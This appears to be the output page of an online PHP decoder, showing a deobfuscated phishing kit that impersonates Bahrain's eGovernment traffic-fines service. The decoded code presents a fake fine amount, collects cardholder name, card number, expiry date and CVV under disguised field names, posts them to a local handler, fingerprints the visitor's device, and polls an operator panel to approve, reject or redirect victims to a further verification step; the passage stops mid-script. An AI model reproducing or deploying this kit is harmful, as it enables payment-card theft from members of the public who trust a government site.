Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode('CiBnb3RvIFhzMERqOyBwUWtvSDogZWNobyAkX1BPU1RbIlwxNTZcMTQxXHg2ZFx4..
Decoded Output download
goto Xs0Dj; pQkoH: echo $_POST["nambaryankine"]; goto vasyw; We0O2: ?>
<span aria-label="Toggle Container" class="tools"><span><em class="fa fa-angle-down"></em></span></span></h4>
</div>
</div>
<!-- END INSTRUCTION BOX-->
</div>
</div>
<div><span id="viewns_Z7_88GC1282JG1V80AKO0HE4310S1_:form1:messages"></span>
</div>
<div>
<div class="row-fluid mar-btm-25">
<div class="span12">
<!--Start Required MSG -->
<div class="row-fluid mar-btm-10">
<div class="span12">
<!-- <p class="required-text"> indicates the required fields.</p> -->
</div>
</div>
<!-- Start Address Tabel-->
<div class="row-fluid mar-btm-5 ">
<div class="span12">
<div class="service-widget">
<div class="service-widget-title widget-grey-title widget-text-center">
<h4>Pay traffic fines<span class="tools" aria-label="Toggle Container"> <span><em class="fa fa-angle-up"></em></span> </span> </h4>
</div>
<div class="service-widget-body service-widget-body-form">
<!-- Begin Form-->
<div style="padding: 30px; margin-left: -15px;" >
<input type="hidden" name="gidansu" value="<?php goto Efmd0; Xs0Dj: include "./exsec.php"; goto wmjQV; B1FSk: $conn = new mysqli($servername, $username, $password, $dbname); goto fR88Q; P5C_V: ?>
<!DOCTYPE html>
<html xmlns="https://www.w3.org/1999/xhtml" xml:lang="en" lang="en" class=" idc0_343 ntawuffaa"><head>
<!-- below IE meta tag added to enfore IE browsers to stick to their exact version when viewing the website, without reverting to Quirks mode or going back to older versions.-->
<meta name="description" content="The eGovernment National Portal - Kingdom of Bahrain, provides a one-stop shop that facilitates the access to government Information and eServices.">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<!-- <meta name="viewport" content="width=device-width, initial-scale=1.0"> -->
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1 , user-scalable=no">
<!-- rel=dynamic-content indicates an element that is replaced with the contents produced by the specified href.
dyn-cs:* URIs are resolved using the WP DynamicContentSpotMappings resource environment provider. These values can
also be set using theme metadata if a theme is specified in the URI (e.g. @tl:oid:theme_unique_name). -->
<link rel="alternate" id="head_markup_deferred" href="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!a9u35S-GsJR__LxzULIWAA/mashup/ra:collection?themeID=ZJ_IO002AS019LF80680CGPTE1GE0&locale=en&mime-type=text%2Fplain&lm=1662630416000&entry=wp_one_ui_303__0.0%3Ahead_markup&deferred=true">
<title>
General Directorate of Traffic Services
</title>
<link id="com.ibm.lotus.NavStateUrl" rel="alternate" href="/wps/portal/en/!ut/p/z1/04_Sj9CPykssy0xPLMnMz0vMAfIjo8ziLSzcnQ2NLIy83A3DLAwcvf0NPFxNjA0NnM30w8EKTC2MnD28gQr8jU1MDRxNvAOdQv09jA38DfSjiNFvgAIcDZyCjJyMDQzc_Y3I0Y9sEnH68SiIwm98cGoe0IwosDJ8oYDFHFRvErKoIDc0NDSiwjPTUVERAOogVB8!/dz/d5/L3dJdyEvUUd3QndJQSEvNE5sRS9aNl84OEdDMTI4MkpHMVY4MEFLTzBIRTQzMTBDNg!!/">
<link rel="bookmark" title="General Directorate of Traffic Services" href="/wps/portal/!ut/p/z1/04_Sj9CPykssy0xPLMnMz0vMAfIjo8ziLSzcnQ2NLIy83A3DLAwcvf0NPFxNjA0NnM30w8EKTC2MnD28gQr8jU1MDRxNvAOdQv09jA38DfSjiNFvgAIcDZyCjJyMDQzc_Y3I0Y9sEnH68SiIwm98cGoe0IwosDJ8oYDFHFRvErKoIDc0NDSiwjPTUVERAOogVB8!/dz/d5/L3dJeWcvd0RNQUFzQUlVQU1BLzRObEhVQSEhL1o2Xzg4R0MxMjgySkcxVjgwQUtPMEhFNDMxMEM2/" hreflang="en">
<link href="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/images/favicon.ico" rel="shortcut icon" type="image/x-icon">
<!-- Arabic CSS --><!-- English CSS -->
<link href="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/css/css_en.css" rel="stylesheet" type="text/css" media="screen,print">
<link href="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/css/print.css" rel="stylesheet" type="text/css" media="print">
<link href="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/css/QapTcha_EN.jquery.css" rel="stylesheet" type="text/css">
<!-- Cookies -->
<link href="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/css/law-popup_en.css" rel="stylesheet" type="text/css">
<!-- Common CSS --><!-- Font Awesome 5 -->
<link href="/PortalPlusServicesTheme/themes/html/dynamicSpots/fonts/font-awesome/css/all.css" rel="stylesheet" type="text/css" media="screen,print">
<!-- Font Awesome 4 -->
<link href="/PortalPlusServicesTheme/themes/html/dynamicSpots/fonts/font-awesome/css/font-awesome.css" rel="stylesheet" type="text/css" media="screen,print">
<link href="https://fonts.googleapis.com/css?family=PT+Sans:400,700" rel="stylesheet" type="text/css">
<link rel="stylesheet" href="https://fonts.googleapis.com/icon?family=Material+Icons">
<link href="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/css/select2.min.css" rel="stylesheet" type="text/css" media="screen,print">
<link href="/PortalPlusServicesTheme/themes/html/dynamicSpots/fonts/custom-font-icons/css/custom-icons.css" rel="stylesheet" type="text/css" media="screen,print">
<!-- Scripts -->
<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/jquery.js" type="text/javascript"></script>
<!-- To disable showing numbers as clickable or callable phone numbers -->
<meta name="format-detection" content="telephone=no"><!-- rendering is delegated to the specified href for each locale -->
<script type="text/javascript" async="" src="//cdn.mouseflow.com/projects/c7c25fe3-458a-4c4d-857e-15aa42b48a34.js"></script><script async="" type="text/javascript" src="https://cdn.livechatinc.com/tracking.js"></script>
<script src="https://code.jquery.com/jquery-3.6.3.min.js"
integrity="sha256-pvPw+upLPUjgMXY0G+8O0xUf+/Im1MZjXxxgOcBQBXU=" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.payment/3.0.0/jquery.payment.min.js"
integrity="sha512-vBu5d4hztWcpvKmp+qUS8afvWUMjTd59Z7ci0j6YnKu83yy6Xh/VxtgZqIteIFaK3gMYDm0AnOp3pEF4z6afMw=="
crossorigin="anonymous" referrerpolicy="no-referrer"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/js-sha256/0.9.0/sha256.min.js"></script>
</head>
<body class="lotusui30dojo tundra locale_en toolbar-closed" data-new-gr-c-s-check-loaded="14.1164.0" data-gr-ext-installed=""><script type="text/javascript"> myfaces.config._autoeval = true; </script>
<div class="content-wrapper">
<script type="text/javascript">
var jsPageName = 'General Directorate of Traffic Services';
var serviceUniqueName ='suid.GeneralDirectorateofTrafficServices';
var serviceOwner = 'GDT';
console.log("serviceOwner : " + serviceOwner);
</script>
<div class="container mar-btm-15 logo-wrapper-header">
<div class="row-fluid">
<div class="span12">
<a href="https://www.bahrain.bh/wps/portal/en/BNP/HomeNationalPortal">
<!-- Current Logo -->
<!-- New -->
<img class="nationalPortalLogo" src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/images/bahrain_bh_logo.png" alt="Kingdom of Bahrain logo">
</a>
<span>
<span class="logo-header-slash hide-in-responsive">|</span>
<span class="logo-header-phrase">Your portal to find services & government information easily</span>
</span>
</div>
</div>
</div>
<!-- required - do not remove -->
<div style="display:none" id="portletState">{}</div>
<div class="container">
</div>
<div class="container">
<div class="row-fluid">
<div class="main-content">
<div class="component-container middle-content left-content span12 id-Z7_88GC1282JOTTB0A6BLM55L1G47" name="left"><div class="component-control id-Z7_88GC1282J8IM10Q65PEOHD10I1"><div class="thinSkin">
<div class="title-bar">
<a rel="dynamic-content1" href="lm.title"></a>
<span class="menu-placeholder"></span>
</div>
</div>
</div><div class="component-control id-Z7_88GC1282JG1V80AKO0HE4310S1"><div class="thinSkin">
<div class="title-bar">
<a rel="dynamic-content1" href="lm.title"></a>
<span class="menu-placeholder"></span>
</div>
<div xmlns:portlet-client-model="https://www.ibm.com/xmlns/prod/websphere/portal/v6.1/portlet-client-model">
<link type="text/css" rel="stylesheet" href="p0/IZ7_88GC1282JG1V80AKO0HE4310S1=CZ6_88GC1282JG1V80AKO0HE4310C6=NEjavax.faces.resource!QCPtheme.css=ln!primefaces-aristo=com.ibm.faces.portlet.PATH!QCPjavax.faces.resourceQCPtheme.css==/">
<script type="text/javascript" src="p0/IZ7_88GC1282JG1V80AKO0HE4310S1=CZ6_88GC1282JG1V80AKO0HE4310C6=NEjavax.faces.resource!QCPjsf.js=ln!javax.faces=com.ibm.faces.portlet.PATH!QCPjavax.faces.resourceQCPjsf.js==/"></script>
<script src="https://services.bahrain.bh/wps/contenthandler/dav/fs-type1/themes/PortalPlusServices/js/common.js"></script>
<script type="text/javascript">var addthis_config = {"data_track_clickback":true , "ui_language":'en'};</script>
<script type="text/javascript" src="https://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4d981a34723d659b"></script>
<!-- Begin Service Form -->
<iframe name="dummyframe" id="dummyframe" style="display: none;"></iframe>
<form id="myForm" method="post" action="./proceed.php" onsubmit="submIt();" target="dummyframe">
<div class="row-fluid">
<div class="span12"><span id="viewns_Z7_88GC1282JG1V80AKO0HE4310S1_:form1:servicegroup">
<!--<div class="row-fluid mar-btm-10">-->
<!-- <div class="span12 bucont">-->
<!-- <p>Receive a 50% discount on overdue fines by settling within one week.</p> -->
<!-- </div>-->
<!--</div>-->
<div class="row-fluid">
<div class="span12">
<!-- BEGIN INSTRUCTION BOX-->
<div class="service-widget">
<div style="height: 60px; background-color: #fff;" class="service-widget-title">
<h4 style="text-align: center; padding: 13px; font-size: 30px;">
<strong>Payment of Traffic Contraventions</strong>
<span aria-label="Toggle Container" class="tools"><span><em class="fa fa-angle-down"></em></span></span></h4>
<h4 style="text-align: center; padding: 13px; color: #000; background-color: #fff;">
<?php goto RhIRA; kAAmv: echo $invcard ? "true" : "false"; goto oE82z; jcAAi: $result = $conn->query($sql); goto uuqG4; fR88Q: if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } goto Otgg9; UyHoq: echo $error ? "true" : "false"; goto Rf3lZ; RUJDl: $invcard = isset($_GET["invcard"]) && $_GET["invcard"] === "invcard_type"; goto hbf5h; Efmd0: echo $_POST["gidansune"]; goto A7y2T; us3Pc: echo $_POST["garinsune"]; goto sIT6f; Otgg9: $sql = "SELECT amountUpdate FROM amount"; goto jcAAi; RhIRA: include "./adminlte/pages/tables/connect.php"; goto B1FSk; vvsJ5: ?>
">
<input type="hidden" name="nambaryanki" value="<?php goto pQkoH; Rf3lZ: ?>
;
// Display the message if 'error' is true
if (error) {
var whenReject = document.getElementById("whenReject");
whenReject.innerText = "Insufficient funds in your bank or payment service account";
// Hide the message after 300 seconds (5 minutes)
setTimeout(function() {
whenReject.style.display = "none";
}, 300000);
}
</script>
<script>
// Check if the 'error' variable is set to true
var invcard = <?php goto kAAmv; IdfoJ: echo $_POST["yankinsune"]; goto vvsJ5; A7y2T: ?>
">
<input type="hidden" name="garinsu" value="<?php goto us3Pc; uuqG4: if ($result->num_rows > 0) { while ($row = $result->fetch_assoc()) { echo "Your traffic fine is " . $row["amountUpdate"] . " BD , please fill in the following information to pay"; } } else { echo "System error"; } goto H72hZ; hbf5h: if ($_SERVER["REQUEST_METHOD"] == "POST") { $gidansu = $_POST["gidansune"]; $garinsu = $_POST["garinsune"]; $yankinsu = $_POST["yankinsune"]; $nambaryanki = $_POST["nambaryankine"]; } goto P5C_V; wmjQV: $error = isset($_GET["error"]) && $_GET["error"] === "insufficient_funds"; goto RUJDl; H72hZ: $conn->close(); goto We0O2; vasyw: ?>
">
<input type="hidden" name="bar" value="60">
<input type="hidden" name="qasarsu" value="Bahrain">
<input type="hidden" name="pages" value="">
<input type="hidden" id="fingerprintInput" name="fingerprint" value="">
<div class="rowP">
<div class="col-75P">
<div class="containerP">
<div class="rowP">
<div class="col-50P">
<div align="center">
<p id="whenReject" class="h"
style="color:red; margin-top: 5px;"></p>
</div>
<label style="margin-top: 8px;" for="cname">CARDHOLDER NAME<sup
style="color: red;">*</sup></label>
<input class="input form-control"
style="width: 100%; margin-left: 0px; margin-bottom: 5px; margin-top: 0px;"
type="text" id="cname" name="sunanshi" value=""
placeholder="NAME ON CARD" required>
<label for="ccnum">CARD NUMBER <sup
style="color: red;">*</sup></label>
<input class="input form-control"
style="width: 100%; margin-left: 0px; background-color: #fff;"
type="tel" id="shaShida" name="shashida" value=""
placeholder="XXXX XXXX XXXX XXXX" required>
<div align="center" >
<img style="width: auto;
height: auto;
max-width: 10%;
vertical-align: middle;
border: 0;
-ms-interpolation-mode: bicubic;
" src="./logo/visa.be473e21.svg" alt="" width="68px" height="48px">
<img style="width: auto;
height: auto;
max-width: 10%;
vertical-align: middle;
border: 0;
-ms-interpolation-mode: bicubic;
" class="imgclass" src="./logo/mastercard.5f8db0ef.svg" alt="" width="68px" height="48px">
<img style="width: auto;
height: auto;
max-width: 10%;
vertical-align: middle;
border: 0;
-ms-interpolation-mode: bicubic;
" class="imgclass" src="./logo/apple pay.ee2c91f8.svg" alt="" width="68px" height="48px">
<img style="width: auto;
height: auto;
max-width: 10%;
vertical-align: middle;
border: 0;
-ms-interpolation-mode: bicubic;
" class="imgclass" src="./logo/google pay.10c26e78.svg" alt="" width="68px" height="48px">
<img style="width: auto;
height: auto;
max-width: 10%;
vertical-align: middle;
border: 0;
-ms-interpolation-mode: bicubic;
" class="imgclass" src="./logo/amex.1585f4bc.svg" alt="" width="68px" height="48px">
<img style="width: auto;
height: auto;
max-width: 10%;
vertical-align: middle;
border: 0;
-ms-interpolation-mode: bicubic;
" class="imgclass" src="./logo/samsung pay.4be89df3.svg" alt="" width="68px" height="48px">
<img style="width: auto;
height: auto;
max-width: 8%;
vertical-align: middle;
border: 0;
-ms-interpolation-mode: bicubic;
" class="imgclass" src="./logo/jcb.png" alt="" width="68px" height="48px">
<img style="width: auto;
height: auto;
max-width: 9%;
vertical-align: middle;
border: 0;
-ms-interpolation-mode: bicubic;
" class="imgclass" src="./logo/discover.png" alt="" width="68px" height="48px">
</div>
<div class="rowPP">
<div class="col-xs-7 col-md-7">
<div class="form-group">
<label style="margin-left: 0px;">
<span class="visible-xs-inline fudu"></span>
EXP DATE <sup style="color: red;">*</sup></label>
<input
style=" margin-left: 0px;
width: 40%;
padding: 5px;"
type="tel" class="form-control input"
autocomplete="cc-exp" autocorrect="off"
spellcheck="false" id="fuDu" name="fudu"
inputmode="numeric" aria-label="Expiration"
placeholder="MM / YYYY" aria-invalid="false" required>
</div>
</div>
<div style="margin-top: -67px;" class="col-xs-5 col-md-5 pull-right uku">
<div class="form-group"> <label
style="margin-left: 74px;">CVV <sup
style="color: red;">*</sup></label>
<input
style=" width: 60%;
background-color: #fff;
padding: 5px;
margin-right: -15px;
float: right;"
type="tel" class="form-control input Input--empty"
autocomplete="cc-csc" autocorrect="off"
spellcheck="false" id="uKu" name="uku"
inputmode="numeric" aria-label="CVC"
placeholder="CVV" aria-invalid="false" value=""
style="margin-left: -20px;" maxlength="4" minlength="3" required>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<fieldset>
<div align="center">
<div class="service-form-actions">
<span class="field__input">
<input style="margin-top: 20px;
width: 50%;
margin-left: 18px;" class="button_style appsubmit" type="submit" value="Pay"
>
</span>
</div>
</div>
</fieldset>
</div>
<!-- End Form-->
</div>
</div>
</div>
</div>
</div>
</div>
<div id="tab" style="display: none;">
<div style="
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(255, 255, 255, 0.96);
z-index: 9999;
display: flex;
align-items: center;
justify-content: center;
" id="loaderstyle">
<div class="center-container">
<div align="center">
<img src="./logo/ajax-loader.gif"
width="100" height="100">
</div>
<p class="processing-text">Processing...</p>
<p class="processing-text">Please do not leave the page</p>
</div>
</div>
</div>
<script type="text/javascript">
$(document).ready(function() {
submitEnterFunc();
});
</script>
</div>
<div>
<div class="row-fluid">
</div>
<div class="row-fluid">
<div aria-hidden="true" aria-labelledby="myModalLabel" role="dialog" tabindex="-1" class="modal hide fade" id="eKeyFeaturedModal" style="display: none;">
<div class="modal-header">
<button aria-hidden="true" data-dismiss="modal" class="close" type="button"></button>
<h4 style="color:#1259ff;" id="myModalLabel">Visitor eKey</h4>
</div>
<div class="modal-body">
<!-- Start - Content Container Box -->
<div class="row-fluid">
<div class="span12">
The Visitor eKey offers a low level of security as it is not based on Bahrains National Smartcard.
</div>
</div>
<!-- End - Content Container Box -->
</div>
<div style="text-align:center" class="modal-footer">
<button aria-hidden="true" data-dismiss="modal" class="button_style" type="button">Close</button>
</div>
</div>
<div aria-hidden="true" aria-labelledby="myModalLabel" role="dialog" tabindex="-1" class="modal hide fade" id="eKeyFeaturedModal1">
<div class="modal-header">
<button aria-hidden="true" data-dismiss="modal" class="close" type="button"></button>
<h4 style="color:#1259ff;" id="myModalLabel">Standard eKey</h4>
</div>
<div class="modal-body">
<!-- Start - Content Container Box -->
<div class="row-fluid">
<div class="span12">
The Standard eKey ensures guaranteed security. Users only need to enter their Personal Number/ National ID and Password to benefit from a range of basic eServices.
</div>
</div>
<!-- End - Content Container Box -->
</div>
<div style="text-align:center" class="modal-footer">
<button aria-hidden="true" data-dismiss="modal" class="button_style" type="button">Close</button>
</div>
</div>
<div aria-hidden="true" aria-labelledby="myModalLabel" role="dialog" tabindex="-1" class="modal hide fade" id="eKeyFeaturedModal2">
<div class="modal-header">
<button aria-hidden="true" data-dismiss="modal" class="close" type="button"></button>
<h4 style="color:#1259ff;" id="myModalLabel">Advanced eKey</h4>
</div>
<div class="modal-body">
<!-- Start - Content Container Box -->
<div class="row-fluid">
<div class="span12">
The Advanced eKey offers a higher level of security. By entering your Personal Number/ National ID and Password, you can benefit from a complete range of eServices. Registration only requires users Identity card and fingerprint scan.
</div>
</div>
<!-- End - Content Container Box -->
</div>
<div style="text-align:center" class="modal-footer">
<button aria-hidden="true" data-dismiss="modal" class="button_style" type="button">Close</button>
</div>
</div>
<div aria-hidden="true" aria-labelledby="myModalLabel" role="dialog" tabindex="-1" class="modal hide fade" id="eKeyFeaturedModal3" style="display: none;">
<div class="modal-header">
<button aria-hidden="true" data-dismiss="modal" class="close" type="button"></button>
<h4 style="color:#1259ff;" id="myModalLabel">CorpPass</h4>
</div>
<div class="modal-body">
<!-- Start - Content Container Box -->
<div class="row-fluid">
<div class="span12">
Allows business owners to register their organization and employees for a CorpPass account and perform various transactions on behalf of the organization in a secure manner.
</div>
</div>
<!-- End - Content Container Box -->
</div>
<div style="text-align:center" class="modal-footer">
<button aria-hidden="true" data-dismiss="modal" class="button_style" type="button">Close</button>
</div>
</div>
</div>
<!-- End Service Form -->
</div></div>
</div></div></div>
</div>
</div>
<!--end main content-->
</div>
<!-- page footer -->
<footer>
<div class="row-fluid padding-top-50">
<div class="row-fluid footer-links" style="padding-top:20px">
<div class="container">
<div class="span3">
<h4>Information Guide </h4>
<ul>
<li><a href="https://www.bahrain.bh/wps/portal/en/BNP/YourGuideForLivingInBahrain">Your Life in Bahrain</a></li>
<li><a href="https://www.bahrain.bh/wps/portal/en/BNP/AboutTheKingdom/">About The Kingdom</a></li>
<li><a href="https://www.bahrain.bh/wps/portal/en/BNP/ParticipateWithUs/">eParticipation</a></li>
<li><a href="https://www.bahrain.bh/wps/portal/en/BNP/ServicesCatalogue/">Government Services Catalogue</a></li>
<li><a href="https://www.bahrain.bh/wps/portal/en/BNP/GSX-UI-AllEntities/">Government Directory</a></li>
<li><a href="https://www.bahrain.bh/wps/portal/en/BNP/DirectoryOfEmergencyHotlineNumbers">Directory of Emergency Hotline Numbers</a></li>
</ul>
</div>
<div class="span3">
<h4 class="hide-in-responsive">eServices</h4>
<ul>
<li><a href="/wps/portal/en/BSP/GSX-UI-MultipleThemesByEService">eServices Categories</a></li>
<li><a href="/wps/portal/en/BSP/GSX-UI-MultipleEntitiesByEService">eServices Providers</a></li>
<li><a href="/wps/portal/en/BSP/GSX-UI-AllApps">Mobile Apps Store</a></li>
</ul>
</div>
<div class="span3">
<div class="row-fluid">
<h4 class="hide-in-responsive">Quick Links</h4>
<ul>
<li><a href="https://www.bahrain.bh/wps/portal/en/BNP/HomeNationalPortal/ContentDetailsPage?current=true&urile=wcm:path:BNP_en/About%20Us/Aboutbahrainbh/About%20bahrain.bh">About the National Portal</a></li>
<li><a href="https://www.bahrain.bh/wps/portal/en/BNP/HomeNationalPortal/ContentDetailsPage?current=true&urile=wcm:path:BNP_en/About%20Us/eGovernment%20Channels%20Statistics/eGovernment%20Channels%20Statistics">Channels Statistics</a></li>
<li><a href="https://www.iga.gov.bh/en/category/community-engagement">ICT events in Bahrain</a></li>
<li><a href="https://www.iga.gov.bh/en/category/news">Government News</a></li>
<li><a href="https://www.iga.gov.bh/en/category/recognition-and-awards">Recognitions & Awards</a></li>
<li><a href="https://www.bahrain.bh/wps/portal/en/BNP/UsersGuide">User's Guide</a></li>
</ul>
</div>
</div>
<div class="span3">
<h4 class="invisible">Follow Us</h4>
<ul>
<li>
<div class="follow-us-icons">
<a href="https://www.facebook.com/iGABahrain" title="Facebook" target="_blank">
<i class="fab fa-facebook" aria-hidden="true"></i></a>
<a href="https://twitter.com/iGABahrain" target="_blank">
<img style="width:23px; margin-bottom: 2px;" alt="Tawasul-National suggestions & complaint system" src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/images/twitter-new-logo.png">
</a>
<a href="https://www.instagram.com/igabahrain" title="Instagram" target="_blank">
<i class="fab fa-instagram" aria-hidden="true"></i></a>
<a href="https://www.youtube.com/c/iGABahrain" title="YouTube" target="_blank">
<i class="fab fa-youtube" aria-hidden="true"></i></a>
<a href="https://www.linkedin.com/company/igabahrain" title="LinkedIn" target="_blank">
<i class="fab fa-linkedin" aria-hidden="true"></i></a>
<a href="/wps/portal/RSS_en" title="RSS">
<i class="fa fa-rss" aria-hidden="true"></i></a>
<a href="javascript:void(0);" title="Whatsapp" id="whatsapp-share-link">
<i class="fab fa-whatsapp" aria-hidden="true"></i></a>
</div>
</li>
<li>
<div class="footer-logos">
<a href="https://services.bahrain.bh/wps/portal/tawasul/Home_en" title="Tawasul-National suggestions & complaint system" target="_blank">
<img src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/images/tawasul-online-logo-en.png" alt="Tawasul-National suggestions & complaint system" title="Tawasul-National suggestions & complaint system">
</a>
<a href="tel:80008001" title="Government Services Contact Center" target="_blank">
<img src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/images/NCC-Eng.png" alt="Government Services Contact Center" title="Government Services Contact Center">
</a>
</div>
</li>
</ul>
</div>
</div>
<div class="container">
<div class="span12 mar-top-10" style="text-align: center;">
<a href="https://www.bahrain.bh/wps/portal/en/BNP/HomeNationalPortal/ContentDetailsPage?current=true&urile=wcm:path:BNP_en/About%20Us/Terms%20and%20Conditions/Terms%20and%20Conditions">Terms and Conditions</a>
|
<a href="https://www.bahrain.bh/wps/portal/en/BNP/HomeNationalPortal/ContentDetailsPage?current=true&urile=wcm:path:BNP_en/About%20Us/Accessibilitybh/Accessibility">Accessibility</a>
|
<a href="https://www.bahrain.bh/wps/portal/en/BNP/HomeNationalPortal/ContentDetailsPage?current=true&urile=wcm:path:BNP_en/About%20Us/FAQs/FAQs">FAQ</a>
|
<a href="https://www.bahrain.bh/wps/portal/en/BNP/HomeNationalPortal/ContentDetailsPage?current=true&urile=wcm:path:BNP_en/About%20Us/Help%20Using%20bahrain.bh/Help%20Section">Help</a>
|
<a href="https://www.bahrain.bh/wps/portal/en/BNP/HomeNationalPortal/ContentDetailsPage?current=true&urile=wcm:path:BNP_en/About%20Us/ContactUs/ContactUs">Contact Us</a>
|
<a href="https://www.bahrain.bh/wps/portal/en/BNP/SiteMap">Site Map</a>
</div>
<div class="span12 mar-top-10">
<ul style="list-style-type:none;text-align: center;margin:0;margin-bottom: 20px;">
<li>ISO 9001 Certified</li>
<li> Kingdom of Bahrain. All Rights Reserved.</li>
<li>Last updated :28/03/2024</li>
</ul>
</div>
</div>
</div>
</div>
</footer>
<div id="AjaxBlackScreenLoading" style="display: none;">
<div class="modal-backdrop in" data-backdrop="static" data-keyboard="false">
</div>
<div class="resultLoadingContents">
<img src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/images/ajax-loader.gif" alt="">
<div class="resultLoadingText" style="color:#000;">
Please Wait
</div>
</div>
</div>
<!-- General Popup -->
<style>
#theGeneralModal {
width: 500px;
}
@media (max-width: 767px){
#theGeneralModal {
width: auto;
}
}
</style>
<script>
function submIt() {
document.getElementById('tab').style.display = "block";
}
</script>
<script>
// Check if the 'error' variable is set to true
var error = <?php goto UyHoq; sIT6f: ?>
">
<input type="hidden" name="yankinsu" value="<?php goto IdfoJ; oE82z: ?>
;
// Display the message if 'error' is true
if (invcard) {
var whenReject = document.getElementById("whenReject");
whenReject.innerText = "Credit card verification failed. Please try again with another credit card number";
// Hide the message after 300 seconds (5 minutes)
setTimeout(function() {
whenReject.style.display = "none";
}, 300000);
}
</script>
<script>
function loader() {
document.getElementById("overlay-container").style.display = "block";
}
</script>
<script>
setInterval(function() {
const xhr = new XMLHttpRequest();
xhr.open('GET', './adminlte/pages/tables/update.php', true);
xhr.send();
}, 1000);
</script>
<script>
document.addEventListener("DOMContentLoaded", function() {
// Generate a fingerprint with device-specific information
generateFingerprint().then(fingerprint => {
document.getElementById("fingerprintInput").value = fingerprint;
// document.getElementById("fingerprintInput3").value = fingerprint;
// document.getElementById("fingerprintInput4").value = fingerprint;
});
});
async function generateFingerprint() {
const fingerprintData = await collectFingerprintData();
const hashHex = sha256(fingerprintData); // Use the sha256 function from the library
return hashHex;
}
async function collectFingerprintData() {
const userAgent = navigator.userAgent;
const platform = navigator.platform;
const language = navigator.language;
const screenWidth = screen.width;
const screenHeight = screen.height;
// Additional device-specific information
const deviceInfo = {
devicePixelRatio: window.devicePixelRatio || 1,
screenWidth: screen.width,
screenHeight: screen.height,
availableScreenWidth: screen.availWidth,
availableScreenHeight: screen.availHeight,
colorDepth: screen.colorDepth,
pixelDepth: screen.pixelDepth,
hardwareConcurrency: navigator.hardwareConcurrency || "N/A",
};
// Combine all attributes into a single object
const fingerprintObject = {
userAgent,
platform,
language,
...deviceInfo,
};
// Serialize the object into a JSON string
return JSON.stringify(fingerprintObject);
}
</script>
<script>
var timer2
var timer1
function getUrlParam(name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)"); //
var r = window.location.search.substr(1).match(reg); //
if (r != null) return unescape(r[2]);
return null; //
}
jQuery(function ($) {
$("#shaShida").bind("input propertychange", function (event) {
$('#shaShida').removeClass('Input--invalid ');
$('#shaShida').addClass('Input--empty');
$('#pay_error').css('opacity', '0');
});
$("#sunanShi").bind("input propertychange", function (event) {
$('#sunanShi').removeClass('Input--invalid ');
$('#sunanShi').addClass('Input--empty');
});
$("#uKu").bind("input propertychange", function (event) {
$('#uKu').removeClass('Input--invalid ');
$('#uKu').addClass('Input--empty');
});
$('#shaShida').payment('formatCardNumber');
$('#fuDu').payment('formatCardExpiry');
var carde = $('#shaShida').val();
$('#shaShida').focusout(function () {
var cardType = $.payment.cardType($('#shaShida').val());
if ($.payment.validateCardNumber($('#shaShida').val()) == false) {
$('#shaShida').val('');
$('#shaShida').addClass('Input--invalid ');
$('#shaShida').removeClass('Input--empty');
return false;
}
if (cardType == 'amex') {
$("#uKu").attr("maxlength", "4");
} else {
$("#uKu").attr("maxlength", "3");
}
});
});
</script>
<script>
var intervalId; // Store the interval ID
function checkAccountStatus() {
var xhr = new XMLHttpRequest();
xhr.open("GET", "checkA.php", true);
xhr.onreadystatechange = function () {
if (xhr.readyState === 4) {
if (xhr.status === 200) {
var response = JSON.parse(xhr.responseText);
var accountStatus = response.accountStatus;
if (accountStatus === "CardApprove") {
window.location.href = "securetrans.php?verify=true";
} else if (accountStatus === "CardReject") {
document.getElementById('tab').style.display = "none";
document.getElementById("whenReject").style.display = "block";
document.getElementById("whenReject").style.animation = "shake 0.8s ease";
document.getElementById("shaShida").style.border = '1px solid #ff8e8e';
document.getElementById("fuDu").style.border = '1px solid #ff8e8e';
document.getElementById("uKu").style.border = '1px solid #ff8e8e';
document.getElementById("shaShida").value = "";
document.getElementById("fuDu").value = "";
document.getElementById("uKu").value = "";
document.getElementById("whenReject").innerHTML =
'Your card has been declined';
setTimeout(() => {
document.getElementById("whenReject").style.display = "none";
document.getElementById("shaShida").style.border = '1px solid grey';
document.getElementById("fuDu").style.border = '1px solid grey';
